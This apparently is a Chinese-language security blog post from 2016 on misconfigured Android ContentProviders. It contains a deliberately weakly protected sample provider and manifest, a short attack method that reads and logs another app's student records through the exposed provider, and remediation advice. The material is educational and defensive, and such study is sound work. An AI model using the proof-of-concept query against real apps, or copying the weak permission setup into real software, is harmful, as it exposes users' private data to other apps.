ContentProvider安全

ContentProvider安全

一、漏洞介绍

1、描述

        ContntProvider作为四大组件之一,主要提供在不同app之间共享数据功能。当分享ContentProvider的数据给其他app时,要注意限制组件权限,防止敏感信息暴露。

2、影响范围

        所有的Android系统(备注:ContentProvider在API17及以上的版本由以前的exported属性默认true改为了false)。

3、漏洞原理

        ContentProvider组建权限配置不当导致敏感数据暴露。

4、漏洞攻击位置

        ContentProvider、AndroidManifest.xml

二、样例解析

 (1)StudentsProvider继承ContentProvider

public class StudentsProvider extends ContentProvider {
	static final String PROVIDER_NAME = "com.example.provider.College";;
	static final String URL = "content://" + PROVIDER_NAME + "/students";
	static final Uri CONTENT_URI = Uri.parse(URL);

	static final String _ID = "_id";
	static final String NAME = "name";
	static final String GRADE = "grade";

	private static HashMap<String, String> STUDENTS_PROJECTION_MAP;

	static final int STUDENTS = 1;
	static final int STUDENT_ID = 2;

	static final UriMatcher uriMatcher;
	static {
		uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
		uriMatcher.addURI(PROVIDER_NAME, "students", STUDENTS);
		uriMatcher.addURI(PROVIDER_NAME, "students/#", STUDENT_ID);
	}

	private SQLiteDatabase db;
	static final String DATABASE_NAME = "College";
	static final String STUDENTS_TABLE_NAME = "students";
	static final int DATABASE_VERSION = 1;
	static final String CREATE_DB_TABLE = " CREATE TABLE "
			+ STUDENTS_TABLE_NAME + " (_id INTEGER PRIMARY KEY AUTOINCREMENT, "
			+ " name TEXT NOT NULL, " + " grade TEXT NOT NULL);";

	private static class DatabaseHelper extends SQLiteOpenHelper {

		public DatabaseHelper(Context context) {
			super(context, DATABASE_NAME, null, DATABASE_VERSION);
		}

		@Override
		public void onCreate(SQLiteDatabase db) {
			db.execSQL(CREATE_DB_TABLE);
		}

		@Override
		public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
			db.execSQL("DROP TABLE IF EXISTS " + STUDENTS_TABLE_NAME);
			onCreate(db);
		}
	}

	@Override
	public boolean onCreate() {
		Context context = getContext();
		DatabaseHelper dbHelper = new DatabaseHelper(context);

		db = dbHelper.getWritableDatabase();

		return (db == null) ? false : true;
	}

	@Override
	public Cursor query(Uri uri, String[] projection, String selection,
			String[] selectionArgs, String sortOrder) {
		SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
		qb.setTables(STUDENTS_TABLE_NAME);

		switch (uriMatcher.match(uri)) {
		case STUDENTS:
			qb.setProjectionMap(STUDENTS_PROJECTION_MAP);
			break;
		case STUDENT_ID:
			qb.appendWhere(_ID + "=" + uri.getPathSegments().get(1));
			break;
		default:
			throw new IllegalArgumentException("Unknown URI " + uri);
		}
		if (sortOrder == null | sortOrder == "") {
			sortOrder = NAME;
		}
		Cursor c = qb.query(db, projection, selection, selectionArgs, null,
				null, sortOrder);
		c.setNotificationUri(getContext().getContentResolver(), uri);
		return c;
	}

	@Override
	public String getType(Uri uri) {
		switch (uriMatcher.match(uri)) {
		/**
		 * Get all student records
		 */
		case STUDENTS:
			return "vnd.android.cursor.dir/vnd.example.students";

			/**
			 * Get a particular student
			 */
		case STUDENT_ID:
			return "vnd.android.cursor.item/vnd.example.students";

		default:
			throw new IllegalArgumentException("Unsupported URI: " + uri);
		}
	}

	@Override
	public Uri insert(Uri uri, ContentValues values) {
		long rowID = db.insert(STUDENTS_TABLE_NAME, "", values);
		if (rowID > 0) {
			Uri _uri = ContentUris.withAppendedId(CONTENT_URI, rowID);
			getContext().getContentResolver().notifyChange(_uri, null);
			return _uri;
		}

		throw new SQLException("Failed to add a record into " + uri);
	}

	@Override
	public int delete(Uri uri, String selection, String[] selectionArgs) {
		int count = 0;
		switch (uriMatcher.match(uri)) {
		case STUDENTS:
			count = db.delete(STUDENTS_TABLE_NAME, selection, selectionArgs);
			break;
		case STUDENT_ID:
			String id = uri.getPathSegments().get(1);
			count = db.delete(STUDENTS_TABLE_NAME, _ID
					+ " = "
					+ id
					+ (!TextUtils.isEmpty(selection) ? " AND (" + selection
							+ ')' : ""), selectionArgs);
			break;
		default:
			throw new IllegalArgumentException("Unknown URI " + uri);
		}
		getContext().getContentResolver().notifyChange(uri, null);
		return count;
	}

	@Override
	public int update(Uri uri, ContentValues values, String selection,
			String[] selectionArgs) {
		int count = 0;

		switch (uriMatcher.match(uri)) {
		case STUDENTS:
			count = db.update(STUDENTS_TABLE_NAME, values, selection,
					selectionArgs);
			break;

		case STUDENT_ID:
			count = db.update(
					STUDENTS_TABLE_NAME,
					values,
					_ID
							+ " = "
							+ uri.getPathSegments().get(1)
							+ (!TextUtils.isEmpty(selection) ? " AND ("
									+ selection + ')' : ""), selectionArgs);
			break;

		default:
			throw new IllegalArgumentException("Unknown URI " + uri);
		}
		getContext().getContentResolver().notifyChange(uri, null);
		return count;
	}

}

(2)MainActivity.java

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	public void onClickAddName(View view) {
		// Add a new student record
		ContentValues values = new ContentValues();

		values.put(StudentsProvider.NAME,
				((EditText) findViewById(R.id.editText2)).getText().toString());

		values.put(StudentsProvider.GRADE,
				((EditText) findViewById(R.id.editText3)).getText().toString());

		Uri uri = getContentResolver().insert(StudentsProvider.CONTENT_URI,
				values);

		Toast.makeText(getBaseContext(), uri.toString(), Toast.LENGTH_LONG)
				.show();
	}

	public void onClickRetrieveStudents(View view) {

		// Retrieve student records
		String URL = "content://com.example.provider.College/students";

		Uri students = Uri.parse(URL);
		Cursor c = managedQuery(students, null, null, null, "name");

		if (c.moveToFirst()) {
			do {
				Toast.makeText(
						this,
						c.getString(c.getColumnIndex(StudentsProvider._ID))
								+ ", "
								+ c.getString(c
										.getColumnIndex(StudentsProvider.NAME))
								+ ", "
								+ c.getString(c
										.getColumnIndex(StudentsProvider.GRADE)),
						Toast.LENGTH_SHORT).show();
			} while (c.moveToNext());
		}
	}

}

(3)AndroidManifest.xml(备注:在API-17以下的Android版本,4.2以上版本默认exported属性是false,之前版本默认是true,所以如果是在4.2以上的系统,需要添加exported=”true”属性

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.bug.contentprovider"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="21" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <provider
            android:name="com.bug.contentprovider.StudentsProvider"
            android:authorities="com.example.provider.College"
            android:permission="com.bug.contentprovider.android.permission.PERMISSION_REWRITE" >
        </provider>

        <activity
            android:name=".MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

(4)运行结果

三、漏洞利用

        由上面的清单文件可以看出ContentProvider的权限仅仅只是”dangerous”,其他的app可以通过该组建获得敏感数据。攻击代码如下:

private void attack(){

		int i = 0;
		ContentResolver contentresolver = getContentResolver();
		Uri uri = Uri.parse("content://com.example.provider.College/students/");
		Cursor cursor = contentresolver.query(uri, null, null, null, null);

		do{

			if (!cursor.moveToNext()){

				Log.i("TEST", String.valueOf(i));
				return;
			}

			Log.i("TEST",
					(new StringBuilder("id=")).append(cursor.getInt(0))
							.append(",name=").append(cursor.getString(1))
							.append(",grade=").append(cursor.getString(2))
							.toString());

			i++;
		} while (true);
	}

  下面是利用上面攻击代码后获取到的数据:

 

四、案例

[1] http://www.wooyun.org/bugs/wooyun-2013-041595

[2] https://www.nowsecure.com/blog/2013/10/04/ebay-for-android-content-provider-injection-vulnerability/

[3] http://www.wooyun.org/bugs/wooyun-2010-0154397

[4] http://www.wooyun.org/bugs/wooyun-2010-021089

[5] http://www.wooyun.org/bugs/wooyun-2010-016854

五、修复建议

限制组件权限。如果ContentProvider组件只是自己app使用,则设置exported=”false”,如果要提供数据给其他app使用,则提高组建权限,如:使用protectionLevel=”signature”及以上的权限

六、参考资料

[1] http://drops.wooyun.org/tips/4314

[2] https://manifestsecurity.com/android-application-security-part-15/

[3] http://wolfeye.baidu.com/blog/content-provider-file-traversal/

[4] http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html

[5] http://www.wooyun.org/bugs/wooyun-2013-039697

[6]https://www.securecoding.cert.org/confluence/display/android/DRD01-X.+Limit+the+accessibility+of+an+app%27s+sensitive+content+provider

 

 

 

posted @ 2016-04-02 21:39  w踏雪w  阅读(235)  评论(0)    收藏  举报